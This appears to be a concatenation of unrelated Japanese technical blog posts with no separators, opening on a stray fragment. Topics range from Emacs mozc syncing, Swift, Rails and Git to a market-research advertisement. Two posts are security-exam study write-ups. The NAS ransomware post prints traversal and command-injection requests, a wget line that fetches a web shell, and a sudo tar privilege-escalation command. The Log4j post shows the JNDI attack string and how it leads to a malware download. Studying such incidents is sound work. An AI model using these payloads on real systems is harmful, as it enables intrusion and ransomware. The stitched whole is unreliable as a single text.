|.layerMinXMinYCorner|.layerMinXMaxYCorner|.layerMaxXMinYCorner|.layerMaxXMaxYCorner|

# おわり
割と使うので覚えておきたいです
競合コピーが生じないようにemacs-mozc辞書を共有する方法

mozc辞書をDropboxに置いて、そのシンボリックをそれぞれ複数の端末に貼って辞書共有をしている人は多いと思います。

リアルタイムで同時使用はしない…という使い方であれば何も問題ないのですが、
自分の場合は、基本メイン機のEmacsは起動しっぱなし（蓋閉じでSleep）なので、その状態でサブ機のEmacsを立ち上げると、mozcのON/OFFとは関係なく`~/Dropbox/mozc/.mozc/` に競合コピーが量産されます。

そこで、簡単な回避方法を考えてみました。大げさなタイトルですが、Tipsといえるほどのものではありません。


## ファイル体系
くどくど説明するより下図を見ていただければ、"な〜んだ" と理解いただけると思います。

メイン機の `.mozc/` は、Dropboxに保存してシンボリックリンクで使い、サブ機で使うときはEmacsを起動するたびにDropboxにある最新の `.mozc/` をコピーして使うという仕組みです。

```
※ maine-machine
~/.mozc <-- symbolic link -- ~/Dropbox/mozc/.mozc
　                               | Copy latest every time
※ sub-mchine                    |
~/.mozc <-- symbolic link -- ~/backup/mozc/.mozc
```

## Emacsの設定
emacsの設定ファイルはメイン機とサブ機で共有しているので、`uname -n` を条件子としてメイン機（自分の場合はe590）でない場合（サブ機のとき）は、emacsを起動したときにmozc辞書をコピーしています。シンボリックリンクは、一度貼っておけばコピーのたびに貼り直さなくても大丈夫です。

```emacs-lisp
(defun mozc-copy ()
 "Copy mozc for submachine."
 (interactive)
 (unless (string-match "e590" (shell-command-to-string "uname -n"))
	 (compile "cp -rf ~/Dropbox/mozc/.mozc ~/backup/mozc")))
(add-hook 'emacs-startup-hook 'mozc-copy)
```

## 使い方
Dropboxに配置したmozc辞書は、メイン機での単語登録や入力履歴を記憶し常に最新の状態でバックアップされます。サブマシーンの場合は、emacsを起動するたびにDropboxにある最新の辞書をコピーしてそれを使うという簡単な割り切りです。

サブマシーンで単語登録したら、元辞書へ書き戻すという仕組みも考えれますが、結局は、競合コピーをどう回避するかという課題になると思うので割り切ることにしました。

メイン機、サブ機の定義は特にありません。使用頻度の高い方をメイン機として構成すればいいかなと思います。
雀魂 大会の絞り込み

:::note warn
**スクリプトの利用は、自己責任でお願いします。**
:::

雀魂の大会ロビーの「フォロー中の大会」にチェックを入れると、大会の一覧を絞り込むスクリプトです。開発者ツールから実行できます。
同じサーバーにいるプレイヤーが開いた大会のみを表示し、新しく開催された順に並び変えます。

```JavaScript
uiscript.UI_Match_Lobby.Inst.content._refresh_match_list ??= uiscript.UI_Match_Lobby.Inst.content.refresh_match_list;
uiscript.UI_Match_Lobby.Inst.content.refresh_match_list = function(_, searchText) {
    this._refresh_match_list(...arguments);
    if (searchText || !this.only_follow) return;

    const is_same_zone = id => game.Tools.is_same_zone(id, GameMgr.Inst.account_id);
    const match_ids = Object.values(this.match_infos)
        .filter(match => match.state === 2 && is_same_zone(match.creator_id))
        .sort((a, b) => a.start_time < b.start_time ? 1 : -1)
        .map(match => match.unique_id);
    if (!match_ids.length) return;

    this.match_ids = [...new Set([...this.match_ids, ...match_ids])];
    this.nolimitlist.reset();
    this.nolimitlist.total_count = this.match_ids.length;
    this.noinfo.visible = false;
};
```
情報処理安全確保支援士試験問題からNASを狙うランサムウェアを学ぶ

令和4年度　春期　午後Ⅰ（２）

# インシデント発生
ある日，NASがランサムウェアの被害にあった。
ファイル共有機能でもWeb操作機能でもアクセスできない/rootディレクトリ配下のファイルも暗号化されていた。<font color=red>←権限昇格</font>

# 脆弱性の調査
当該NASには脆弱性１と脆弱性２が存在した。

## 脆弱性１
NASでは，除外リストに次のディレクトリが指定されている。

```:除外リスト
/css
/images
/js
```

認証なしアクセス処理に脆弱性があり，除外リストに指定されていないディレクトリ配下のファイルにも認証なしでアクセスできてしまう。
例えば，`http://192.168.0.1/images/..%2fstatus.cgi`にアクセスすると`http://192.168.0.1/status.cgi`に認証なしでアクセスできてしまう。
<font color=red>対策は，URLデコード→相対パスを正規化→除外フォルダに該当するかチェック</font>

## 脆弱性２
NASには，Web管理機能の一つとして，IPアドレスを指定してpingを実行する機能がある。
このIPアドレスの処理に脆弱性があり，任意のOSコマンドが実行できてしまう。
次は，その脆弱性を悪用した例であり，ping 127.0.0.1;whoamiというコマンドが実行される。

```
POST /ping.cgi HTTP/1.0
Content-Length: 21

addr=127.0.0.1;whoami
```

脆弱性１と脆弱性２を組み合わせると認証なしで任意のOSコマンドの実行が可能になる。

```
POST /images/..%2fping.cgi HTTP/1.0
Content-Length: 21

addr=127.0.0.1;whoami
```


# アクセスログの調査
NASのアクセスログを調査したところ，外部からHTTPSリクエストを使用してOSコマンドを実行する攻撃ツール（以下，WebShell）がNASに配置されており，OSコマンドが実行されたことが分かった。

|番号 |時刻 |リクエスト |ステータスコード |応答バイト数 |
|---|---|---|---|---|
|１ |13:01 |GET /images/..%2fstatus.cgi HTTP/1.1 |200 |634 |
|２ |13:02 |POST /images/..%2fping.cgi HTTP/1.1 |200 |418 |
|・ |・ |・ |・ |・ |
|18 |13:05 |GET /images/shell.cgi?cmd=whoami HTTP/1.1 |200 |1418 |
|・ |・ |・ |・ |・ |
|89 |13:18 |POST /images/shell.cgi HTTP/1.1 |200 |2490 |

<font color=red>上記２以降のいずれかのPOSTの中身</font> `addr=127.0.0.1;wget http://64.42.152.46/shell.cgi -O` 

WebShellが配置されたディレクトリは，書込み不可であるが，rootアカウントを用いれば書込み可能に変更できる。
NASでは，sudoコマンドの設定ファイル`/etc/sudoers`が次のようになっている。

```:/etc/sudoers
www ALL=NOPASSWD: /bin/tar
```

NASでは，ファームウェアのアップデート時，wwwのアカウント権限でアーカイブファイルを展開している。
このtarコマンドには，任意のOSコマンドを実行できるオプションがある。
当該オプションを悪用する例は次のとおり。

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami
```

結論
攻撃者は，Web管理機能の脆弱性とtarコマンドのオプションを悪用し，書込み不可のディレクトリを書込み可能に変更してWebShellを配置した後，WebShellを使用してランサムウェアを実行した。

# 参考

https://unit42.paloaltonetworks.jp/ech0raix-ransomware-soho/

https://blog.hamayanhamayan.com/entry/2021/05/15/172730

https://qiita.com/progrhyme/items/6f936033b9d23efb1741
ライブラリを使わずネット接続状況を取得してみようと思う

## はじめに
端末が「ネットに接続されているとき」はスタンプを送信して〜や「ネットに接続されていないとき」はアラートを表示して〜みたいなことをしたいときが来る（はず）。そんなとき、NWPathMonitorを使用すればライブラリを使わずネットの接続状況を取得できる。

## 結論
NWPathMonitorとは、ネットワークの変更を監視して対応するためのオブザーバーである。
また、`func start(queue: DispatchQueue)`を使用することでパスの変更を監視することが可能。

## 詳細
1. ネットワーク状況を監視するための `NWPathMonitor()`とパス配信するイベントキュー`DispatchQueue.global(qos: .background)`を宣言する。
1. パスモニターを開始し、ネットワークパスの更新を監視できるようにする。
1. ネットワークパスが更新されたら行いたい処理を記述する。

```swift:Swift
import Network


class NetworkStatus {
    //ネットワーク状況を監視するための `NWPathMonitor()
    private let monitor = NWPathMonitor()
    //パス配信するイベントキュー
    private let queue = DispatchQueue.global(qos: .background)
    
    func setUp() {
        //パスモニターの開始
        monitor.start(queue: queue)
        
        //ネットワークパスが更新されたら行いたい処理を記述
        monitor.pathUpdateHandler = { path in
            if path.status == .satisfied {
                DispatchQueue.main.async {
                    print("接続中")
                    //何かしたい処理
                }
            } else {
                DispatchQueue.main.async {
                    print("接続解除")
                    //何かしたい処理
                }
            }
        }
    }
}

```

## おわりに
ネット接続の有無の取得だが、`DispatchQueue.main.async`を使用することで何か描画や表示をする際、遅れて処理がなされてしまうみたいなことも防ぐことができる。スレッド関係諸々については後日まとめることとする。

## 参考記事
[【SwiftUI】NWPathMonitorを使用して、ネットワーク通信状態を確認する](https://dev.classmethod.jp/articles/nw-path-monitor-network-state/)
[【Swift】NWPathMonitorを使ったネットワーク監視方法について](https://qiita.com/kogepan159/items/09478dfa3d3007130297)

## 開発環境
- Xcode-13.4.1
- iOS13以降
【Rails】M1 Macでシステムスペックの実行時にNet::HTTPServerException: 404 "Not Found"というエラーが出た場合の対処法

## 発生した問題

M1 Macでシステムスペックを実行したら突然以下のようなエラーが発生し、テストが実行できなくなった。

```
Webdrivers::NetworkError:
  Net::HTTPServerException: 404 "Not Found" with https://chromedriver.storage.googleapis.com/106.0.5249.61/chromedriver_mac64_m1.zip
```

## 原因
Chromedriverの命名規則が変わった影響らしい。

https://github.com/titusfortner/webdrivers/issues/237

## 解決方法
webdrivers gemを5.2.0以上にアップデートする。

```
$ bundle update webdrivers

$ bundle show webdrivers
/Users/jnito/.rbenv/versions/3.1.2/lib/ruby/gems/3.1.0/gems/webdrivers-5.2.0
```

以上です！
Fortitokenのステータスでエラーが出たときの対応

# 1.環境
FW
・Fortigate60F
・Fortitoken(無料の2つ）

# 2.事象

無料のFortitokenをモバイルにインストールしたFortitokenAPPにバインドしました。
その後担当者が変わったので、Fortigate側のユーザー設定のメールアドレスを変更したら
Fortitokenのステータスが「エラー」になり、二要素認証のプルダウンリストで選択できなく
なりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/263462/6a850c1b-107d-8c47-f5d7-d48f592c339e.png)


# 3.対応方法
エラーになったモバイルトークンをメニューから削除します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/263462/bbe0008e-cb90-02d8-f970-7eed7683faac.png)

すると「フリートライアルトークンをインポート」という項目が現れるのでここをクリックすると
新しいトークンがダウンロードされます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/263462/190beb6f-665b-dded-7b5f-dd7b358c63b9.png)

新しいトークンを選択して二要素認証に設定します。

なおこれはFortigate購入時に付属している無償版のトークンの話になりますので、
有償版の場合はベンダーへ確認するようお願いします。
iOS16〜16.2でのHealthKit データ出力 (export.xml) のバグ回避

iPhoneではAppleWatchなどで収集したHealthKitのデータを、xmlファイルとしてダウンロードする事ができる。

:::note
HealthKitのデータをダウンロードする方法
1. **ヘルスケアアプリ** を開く
1. （概要のページの）右上のサムネイルを押す
1. 開いた画面の下の方にある **すべてのヘルスケアデータを書き出す** を押す。
1. データを書き出して良いか聞かれるので、**書き出す** を押す。
1. **ヘルスデータを書き出し中** と表示するので、しばらく待つ。
1. **書き出したデータ**を保存するダイアログが表示されるので、AirDropやメール等で保存する。データはZIPでアーカイブ・圧縮されている。
:::


ところがiOS16〜16.2ではこのxmlファイル（`export.xml`）[^1]の属性リスト宣言に誤りがある為、正しく読み込めない事がある。

:::note warn
1/23/2023にリリースされた **iOS16.3** にて直った。これ以降のバージョンでは、本稿は不要である。
:::

属性リストを直せば問題なく読み込めるので、patchを作成した。

```patch:export12.patch
155a156,157
>   device           CDATA #IMPLIED
> >
206d207
<   device           CDATA #IMPLIED
212d212
< >
```

使い方

```shell:
$ patch export.xml export12.patch
```

なおこれは筆者が独自の調査と推測から作成した物であり、iOSの将来のバージョンで動作するとは限らない事をお断りしておく。

[^1]: iOS15では`export.xml`内に`<!-- HealthKit Export Version: 11 -->`と言う記述があるが、iOS16では`Version: 12`となっている。
「diffコマンド」と「Gitのdiff」は何が違うのか調査してみた


以下の2つのテキストファイルがあるとする  

```A.txt
apple
banana
chocolate
```

```B.txt
apple
blueberry
chocolate
```

## A. Linuxのdiffコマンドで比較

```sh
diff A.txt B.txt
```

オプション無しの場合、normal形式のdiffが出力される

```diff
2c2
< banana
---
> blueberry
```

normal形式では、変更行の前後は出力されない

## B. Linuxのdiffコマンドで比較(Gitのdiff風になるようにオプションを付与)

```sh
diff -u A.txt B.txt
```

unified形式のdiffが出力される  
Gitのdiffにかなり近い形式  

```diff
--- A.txt       2022-10-12 17:24:12.165288000 +0900
+++ B.txt       2022-10-12 17:26:09.695288000 +0900
@@ -1,3 +1,3 @@
 apple
-banana
+blueberry
 chocolate
```

ただ、これだと出力文字列に色が付かない...  
diffを色付きで見たい場合、  

```sh
diff -u A.txt B.txt > sabun.diff
```

という風に一旦ファイルに出力し、  
それをVimやVSCodeなどのリッチなエディタで開いてシンタックスハイライトを表示させるという方法があるが、  
「直で色付きで出力させたい！」というせっかちな人には、後述の方法を紹介する  

## C. colordiffコマンドを使用

```sh
sudo apt install colordiff
colordiff -u A.txt B.txt
```

色付きのdiffが出力されて、見やすくなった！  

```diff
--- A.txt       2022-10-12 17:24:12.165288000 +0900
+++ B.txt       2022-10-12 17:26:09.695288000 +0900
@@ -1,3 +1,3 @@
 apple
-banana
+blueberry
 chocolate
```

## D. Gitのdiff

1. 空のディレクトリを作成し、`git init` でGitリポジトリを作成
2. 変更前のファイルをコミット
3. 変更後のファイルに置き換えてコミット

という手順でdiffを作成(面倒...)  
見慣れた形式のdiffが出力される  

```diff
diff --git a/test.txt b/test.txt
index 684da80..6e73a9c 100644
--- a/test.txt
+++ b/test.txt
@@ -1,3 +1,3 @@
 apple
-banana
+blueberry
 chocolate
```

## ところで、Gitはどうやって差分を取得している？

```sh
# テキストファイルのハッシュ値を計算
cat test.txt | git hash-object -w --stdin
```

> 6e73a9cea3235240ff29f184e0427d47b09f8801

diffを表示した際に出力された `index 684da80..6e73a9c` の `6e73a9c` は、ファイルの中身をハッシュ化した際の値の先頭7桁と一致！
Gitはハッシュ関数を利用することで、ファイルの中身が一致しているかどうかをチェックしているというわけなのだ  

ちなみに、ハッシュ値の先頭2桁はディレクトリ名、残りの38桁はファイル名として `.git/objects` の下に保存される  
![git_object.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/675511/d0124213-4c14-d2fb-0ad4-b3449b121dbc.png)

`cat-file` コマンドを使うことで中身を取り出すこともできる  

```sh
git cat-file -p 6e73a9cea3235240ff29f184e0427d47b09f8801
```

> apple  
> blueberry  
> chocolate  

Gitが高速な動作をする背景には、こういった優れた仕組みがあったのだ  
リーナス様に感謝🙇‍♂️

## 参考サイト

- [10.2 Gitの内側 - Gitオブジェクト](https://git-scm.com/book/ja/v2/Git%E3%81%AE%E5%86%85%E5%81%B4-Git%E3%82%AA%E3%83%96%E3%82%B8%E3%82%A7%E3%82%AF%E3%83%88)
- [git diff コマンドとふつうの diff / patch コマンド](https://gotohayato.com/content/108/)
- [【 diff 】コマンド（基本編）――テキストファイルの差分を出力する](https://atmarkit.itmedia.co.jp/ait/articles/1704/13/news021.html)
- [git diff | Atlassian Git Tutorial](https://www.atlassian.com/ja/git/tutorials/saving-changes/git-diff)
- [Gitを支える内部構造についての話](https://techblog.timers-inc.com/entry/2016/11/14/113154)
- [Gitのコミットハッシュ値は何を元にどうやって生成されているのか](https://engineering.mercari.com/blog/entry/2016-02-08-173000/)
Javascriptでのオブジェクト処理

# はじめに
学習中のJavascriptで自分用の備忘録としてオブジェクト操作をまとめました。
## オブジェクトとは
Javascriptにおいてオブジェクトとはデータや処理をまとめた情報の集合体です。
例えばネズミというオブジェクトがあったとします。
そこにはデータとして、「名前」「性別」「好物」のデータがあり、
処理として「猫に食べられる」「猫と喧嘩する」があります。
上記のようなデータ、処理をJavascriptのコードで表すにはどのような方法があるのか書いていきます。
## データの表し方
データは「キー」と「バリュー」のセットでプロパティという値で書いていきます。
```javascript
let mouse = {
  name: 'Jerry',
  age: 1,
  favorite: 'cheese',
}
```
上記のコードで、ネズミの名前はJerry、年齢は１歳、好物はチーズとプロパティを定義しました。
では、次は処理をどのように記述するのか書いていきます。
## メソッド
Javascriptで先ほど作ったデータを使った処理を定義する記述方法を書いていきます。
例として、「ネズミのJerryはcheeseを食べる前に猫に食べられる」と表示する処理を作ってみます。
処理を定義する構文は
```javascript
//変数名 ={
  //メソッド名: function(){...}
}
```
となります、この構文を利用して。
```javascript
let mouse = {
  name: 'Jerry',
  age: 1,
  favorite: 'cheese',

  catEat: function(){
    console.log(`ネズミの${mouse.name}は${mouse.favorite}を食べる前に猫に食べられる。`)
  }
}

mouse.catEat()
```
と記述することで、プロパティの値を利用した処理を定義する事ができます。
laravel __()関数

# 概要

- laravelの`__()`関数についてまとめてみる。

# `__()`関数

- 下記のように使われる。

    ```php
    __('Foo')
    ```

- 本関数の意味は「当該の文字列に紐づく翻訳キーが設定されている場合、翻訳した文字を返す。設定されていない場合当該の文字列をそのまま帰す」である。
- また、下記の様に記載されていたら、lang/en/pagenation.php（config/app.phpでlocaleがjaの場合はlang/en/pagenation.php）のキーpreviousに紐づく値が設定されている場合その値を、設定されていない場合`pagenation.previous`を返す。

    ```php
    __('pagenation.previous')
    ```

# 参考文献

- [https://readouble.com/laravel/9.x/ja/helpers.html#method-__](https://readouble.com/laravel/9.x/ja/helpers.html#method-__)
- [https://readouble.com/laravel/9.x/ja/localization.html#retrieving-translation-strings](https://readouble.com/laravel/9.x/ja/localization.html#retrieving-translation-strings)
ログインの有無で処理を変える方法

# はじめに
user_signed_in?メソッドの利用方法を忘れないために記録する

## user_signed_in?メソッドとは
Gemのdeviseを導入しているため、使用できるメソッド。
ログインしているかどうかの判定を行う。

    #記載方法
    <% if user_signed_in? %>
       <div class="user_nav grid-6">
          <%= link_to "ログアウト", destroy_user_session_path, method: :delete %>
          <%= link_to "投稿する", new_tweet_path, class: "post" %>
       </div>
    <% else %>
       <div class="grid-6">
          <%= link_to "ログイン", new_user_session_path, class: "post" %>
          <%= link_to "新規登録", new_user_registration_path, class: "post" %>
       </div>
    <% end %>
AtCoder B,C問題をKotlinで解こう - ABC269

当記事ではAtCoder、ABCのB問題ならびにC問題（時々D問題も）のKotlinでの解法を超初心者向けに詳細に解説します。

https://atcoder.jp/contests/abc269/tasks

## [B - Rectangle Detection](https://atcoder.jp/contests/abc269/tasks/abc269_b)
#### やりたいこと
入力された文字列のリストの内、'#'で構成される長方形のエリアの上辺、下辺、左辺、右辺を求めよう。
```List.indexOfFirst``` と ```List.indexOfLast``` で上辺と下辺を求めよう。
そして'#'を含む行（文字列）に対して、```String.indexOf``` と ```String.lastIndexOf``` で左辺と右辺を求めることができる。
これらで得た値は0始まりのインデックス値なので、答えとして出力する場合は1を加えよう。
#### 入力値の取得
```kotlin
    // 入力値の取得
    val s = (1..10).map { readLine()!! }
```
#### サンプルコード
```kotlin:main.kt
fun main(args: Array<String>) {
    // 入力値の取得
    val s = (1..10).map { readLine()!! }
    // 上辺を求める
    val a = s.indexOfFirst { it.contains('#') } + 1
    // 下辺を求める
    val b = s.indexOfLast { it.contains('#') } + 1
    // 左辺を求める
    val c = s[a - 1].indexOf('#') + 1
    // 右辺を求める
    val d = s[a - 1].lastIndexOf('#') + 1

    // 答えの出力
    println("$a $b")
    println("$c $d")
}
```

## [C - Submask](https://atcoder.jp/contests/abc269/tasks/abc269_c)
#### やりたいこと
入力値を2進数表記にし各桁ごとに処理を行う。
該当桁が
0の場合、xの同じ桁は0
1の場合、xの同じ桁は1または0
1の数は最大15という制約があるため、全ての組み合わせは最大32768通りとなる。
各桁の処理をメソッド化し、全ての組み合わせを網羅するよう再帰処理を行おう。
処理の順番を上位の桁→回の桁、かつxの桁が0になる場合→1になる場合の順で処理を行うことにより、ソート不要となる。
#### 入力値の取得
```kotlin
    // 入力値の取得
    n = readLine()!!.toLong()
```
#### サンプルコード
```kotlin:main.kt
fun main(args: Array<String>) {
    // 入力値の取得
    n = readLine()!!.toLong()
    getAns(0, 63)
}

var n = 0L

// 各桁に対する処理
fun getAns(subTotal: Long, index: Int) {
    if (index < 0) {
        // 最後の桁まで処理し終えたので、数字を出力
        println(subTotal)
        return
    }
    // 該当の桁が0の場合
    getAns(subTotal, index - 1)
    val num = 1L shl index
    if (n and num != 0L) {
        // nの該当の桁が1の場合の処理
        getAns(subTotal + num, index - 1)
    }
}
```
Seleniumを勉強した記録


# 環境構築

### Seleniumライブラリ

```:Anaconda Prompt
>pip install selenium==4.1.0
```

### ChromeDriver

https://chromedriver.chromium.org/downloads

現在のChromeのバージョンとあわせる。
chromedriver_win32.zipをダウンロードしたら，適当なフォルダに解凍する。
chromedriver.exeを実行したくなるが，実行する必要はない。

`重要`
chromedriver.exeを置いた場所にパスを通すこと。

# テスト（データを入力し，ボタンを押す）

```python:APNIC_Whois_Search.py
from selenium import webdriver
import time

#クロームの立ち上げ
driver=webdriver.Chrome()

#ページ接続（時間がかかる）
driver.get('http://wq.apnic.net/static/search.html')

#IPアドレス入力
driver.find_element_by_xpath('//*[@id="searchtext"]').send_keys("210.154.137.128")

#Searchボタンのクリック
driver.find_element_by_xpath('//*[@name="do_search"]').click()

#10秒終了を待つ
time.sleep(10)

#クロームの終了処理
driver.close()
```

# ユーザーエージェント

`Chrome/106.0.0.0`となり，メジャーバージョン以外ゼロになる特徴を発見した。

```
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
```

# 参考サイト

https://developers.gmo.jp/15591/

https://qiita.com/syoshika_/items/288fc8bf552672589f4c

https://chromedriver.chromium.org/getting-started

https://www.scc-kk.co.jp/scc-books/java8_workbook/java_dev-win10.html
AWSマネージドサービスの市場規模、セグメント別金額、2033年までの予測

このレポートは世界のAWSマネージドサービス市場の2023年から2033年までの定性分析および定量分析を掲載しています。レポートでは、世界のAWSマネージドサービス市場は、2020年から2033年の予測期間において11.8%のCAGRで成長すると予測しています。AWSマネージドサービス市場に関する調査は、2023年から2033年までの期間、北米、ヨーロッパ、アジア太平洋、RoWなどの主要地域の分析をカバーしています。

AWSマネージドサービス市場に関するレポートは、2023年から2033年までの期間における世界のAWSマネージドサービス市場における促進要因、阻害要因、機会、需要要因、市場規模、予測、動向を包括的に調査・発表するものです。さらに、一次調査および二次調査の結果をまとめて発表しています。

レポート中のポーターのファイブフォースモデルは、2023年から2033年までの期間における世界のAWSマネージドサービス市場における競争上のライバル関係、市場におけるサプライヤーとバイヤーの立場、新規参入者の機会に関する洞察を提供します。さらに、レポート中のIGR-成長マトリクスは、既存または新規の市場プレーヤーが検討できる投資分野についての洞察をもたらします。

レポート調査結果

1) ドライバ
- 顧客の要件、嗜好の変化、購買意欲を理解する必要性の高まり
- AWSマネージドサービスは、データのアップグレード、保護、データへのアクセスや保存、クラウドのシームレスなモニタリングなどの機能により採用されている。
2) 制約事項
- 限られたリソースの利用、需要の増加
3) ビジネスチャンス
- メリットや生産性の向上に関する認知度の向上

調査方法

A) 一次調査
第一次調査は、広範なインタビューと第一次回答者から提供された意見の分析を含みます。第一次調査は、第一次回答者の特定とアプローチから始まり、第一次回答者にアプローチするのは以下の通りです。
1. Infinium Global Research に関連するキーオピニオンリーダー。
2. 社内外の専門家
3. 業界の専門家および参加者

当社の主なリサーチ回答者は、通常以下の通りです。

1. 調査対象市場のリーディングカンパニーに所属するエグゼクティブ
2. 製品/ブランド/マーケティング担当者
3. CXOレベルのエグゼクティブ
4. 地域・ゾーン・カントリーマネージャー
5. 副社長クラスの経営者

B) 二次調査

セカンダリーリサーチは、一般公開されている情報源と有料の情報源の両方から入手できる二次情報を幅広く探索するものです。Infinium Global Research では、各調査は 500 時間を超える二次調査および一次調査に基づいています。二次資料を通じて得られた情報は、様々なデータソースのクロスチェックを通じて検証されます。

二次的なデータソースには、通常以下のものが含まれます。

1. 企業の報告書や出版物
2. 政府/機関の出版物
3. 業界誌・団体誌
4. WTO、OECD、世界銀行などのデータベース。
5. 調査機関のWebサイトや出版物

対象セグメント

AWSマネージドサービスの世界市場は、サービスタイプ別にセグメント化されています。
AWSマネージドサービスの世界市場：サービスタイプ別
- アドバイザリーサービス
- オペレーションサービス
- クラウドマイグレーションサービス

企業プロフィール
本レポートで取り上げる企業は以下の通りです。

- DXCテクノロジー社
- アマゾン
- レリアム・エルエルシー
- アクセンチュアPLC
- スマートロニクス・インク
- 8k Miles Software Service Limited
- キャップジェミニSE
- ラックスペース
- スラロームLLC
- マイクロソフト・アジュール

本レポートは何を提供するのか？

1. AWSマネージドサービス市場の世界市場および地域市場の包括的な分析。
2. 2. AWSマネージドサービス市場の全セグメントを完全に網羅し、世界市場の動向、発展、2033年までの市場規模を予測分析
3. 世界のAWSマネージドサービス市場で事業を展開する企業の包括的な分析。企業プロフィールには、製品ポートフォリオ、収益、SWOT分析、企業の最新動向の分析が含まれています。
4. 4. IGR- Growth Matrixでは、市場プレイヤーが投資、統合、拡大、多様化のために注力すべき製品セグメントと地域の分析を行っています。

詳細はこちらでご確認ください。https://www.sdki.jp/reports/aws-managed-service-market/104716

SDKIについて

現在のグローバル経済におけるビジネス環境はダイナミックであり、ビジネスプロフェッショナルの間では市場の現状を把握する必要性が高まっています。このようなニーズに応えるため、Shibuya Data Count ( SDKI ) は、ヘルスケア＆医薬品、IT＆テレコム、化学＆先端素材、消費財＆食品、エネルギー＆電力、製造＆建設、工業オートメーション＆機器、農業＆関連産業など、さまざまな業種の専門家に市場調査レポートを提供します。

詳細については、下記までお問い合わせください。

宮津比奈
桜丘町26-1 セルリアンタワー15階
150-8512 東京都千代田区桜丘町26-1 セルリアンタワー15階
電子メール： sales@sdki.jp
Tel: +81 50 50509159
情報処理安全確保支援士試験問題からjog4jを学ぶ

令和4年度　秋期　午後Ⅰ（２）

# インシデントの発生
予約サーバでCPU使用率が高い状況
いつもは，BSoftMainとSBMainというTソフトのプロセスが稼働しているが，runという見慣れないプロセスも稼働していた。

### 13:07:00時点の予約サーバのプロセス一覧

|プロセスID  |親プロセスID |開始時刻 |コマンド |
|---|---|---|---|
|100  |（省略） |10:11:15 |java BSoftMain |
|110  |100 |13:00:00 |java SBMain |
|200  |100 |13:06:30 |run |

### 13:07:00時点の予約サーバのコネクション一覧

|送信元  |宛先 |サービス |プロセスID |
|---|---|---|---|
|予約サーバ  |a1.b1.c1.d1 |HTTPS |110 |
|予約サーバ  |a2.b2.c2.d2 |HTTPS |110 |
|予約サーバ  |a3.b3.c3.d3 |HTTP |200 |

a3.b3.c3.d3は海外のIPアドレスで，予約サーバの通信先として想定されているものではなかった。

# 予約サーバの調査

### Tソフトの調査

Tソフトが利用しているJavaベースのログ出力ライブラリ`Apache Log4j`にリモートから任意のコードが実行可能となる脆弱性`CVE-2021-44228`が存在した。

### Apache Log4jの概要
Apache Log4j（以下，log4j）はJavaのログ出力ライブラリである。
Log4jには外部オブジェクトを読み込む機能があり，標準で有効になっている。

#### CVE-2021-44228の概要
Log4jを使用したログ出力処理の対象となる文字列中に特定の攻撃文字列が含まれる場合，攻撃者が用意したJavaクラスが実行される可能性がある。

### LDAPを利用した攻撃の例
１．攻撃者が，攻撃文字列`${jndi:ldap://a4.b4.c4.d4/Exploit}`を含むHTTPリクエストを送る。
２．攻撃対象のWebサーバにおいて，Log4jがログ出力処理をする文字列中に当該攻撃文字が含まれると，Log4jは，IPアドレスが，a4.b4.c4.d4のサーバに対して，LDAPで`Exploit`というクエリを送る。
３．攻撃者の用意したIPアドレスがa4.b4.c4.d4のLDAPサーバは，`Exploit`というクエリを受け，`http://a5.b5.c5.d5/JClass`を取得させるための情報を返す。
４．Log4jはURLに従い，攻撃者が用意したWebサーバであるa5.b5.c5.d5にアクセスし，レスポンスに含まれるJavaクラスである`JClass`を実行する。
５．`JClass`は，攻撃者の用意したURLである`http://a6.b6.c6.d6/malwarex`にリクエストを送り，レスポンスに含まれるファイルを`malwarex`というファイル名で保存し，実行する。

※ `Exploit` , `JClass` , `malwarex` は攻撃毎に異なる

### 予約サーバのアクセスログ

|時刻  |送信元 |リクエスト |ユーザエージェント |
|---|---|---|---|
|13:04:32  |a7.b7.c7.d7 |GET /index.html |${jndi:ldap://a8.b8.c8.d8/JExp} |

### FWのログ

|時刻  |送信元 |宛先 |サービス |処理結果 |
|---|---|---|---|---|
|13:02:15  |予約サーバ |a1.b1.c1.d1 |HTTPS |許可 |
|13:05:50  |予約サーバ |a8.b8.c8.d8 |LDAP |許可 |
|13:05:53  |予約サーバ |a8.b8.c8.d8 |HTTP |許可 |
|13:06:05  |予約サーバ |a9.b9.c9.d9 |HTTP |許可 |
|13:08:15  |予約サーバ |a2.b2.c2.d2 |HTTPS |許可 |
|13:12:15  |予約サーバ |a1.b1.c1.d1 |HTTPS |許可 |
|13:15:35  |予約サーバ |a3.b3.c3.d3 |HTTP |許可 |

### 予約サーバへの攻撃の流れ

|番号 |時刻 |内容 |
|---|---|---|
|１ |13:04:32 |攻撃者が予約サーバに対してユーザエージェントに`${jndi:ldap://a8.b8.c8.d8/JExp}`を含むHTTPリクエストを行った。 |
|２ |13:05:50 |予約サーバが，IPアドレスa8.b8.c8.d8のLDAPサービスに`JExp`というクエリを送った。 |
|３ |13:05:53 |予約サーバが，２の通信の応答に含まれるURL（a8.b8.c8.d8）に対してHTTP通信を行った。|
|４ |13:06:05 |予約サーバで，３の通信のレスポンスに含まれるJavaクラスが実行され，攻撃者の用意したURL（a9.b9.c9.d9）に対してHTTP通信が行われた。|
|５ |13:06:30 |予約サーバで，４の通信のレスポンスに含まれるファイルが実行され，runプロセスが起動した。|
|６ |13:07:00 |予約サーバで，runプロセスが攻撃者のサーバa3.b3.c3.d3に通信を行った。|

### runの解析結果
runは暗号資産採掘ソフトであった。
【Ruby on Rails】Model の scope で find_by するのはNG

# scope の罠
先日以下のような scope を見ました。
```user.rb
class User < ActiveRecord::Base
  scope :foo, -> (bar) do
    return if bar.nil?
    find_by(bar: bar)
  end
end
```

もちろん使い方しだいではありますが、この動き、ちょっと想定外だったりするので注意です。

`bar` が `nil` で `return` される場合 (`nil` が返る)、
`find_by` で見つからなくて `nil` になる場合、

このとき、scope の戻りは `nil` ではありません。

`User.foo(nil)` は nil ではありません。

`User.all` が返ります。

（正確には default scope が返る）

## なぜ `nil` が返らないのか

どうやら `scope` は `ActiveRecord::Relation` を返すものだと決まっているよう。
なので`nil`が返るときは default scope である `User.all` を返すようです。

以下の記事が理解しやすかったです。

https://qiita.com/Gro/items/80340ef352d0036f44cd

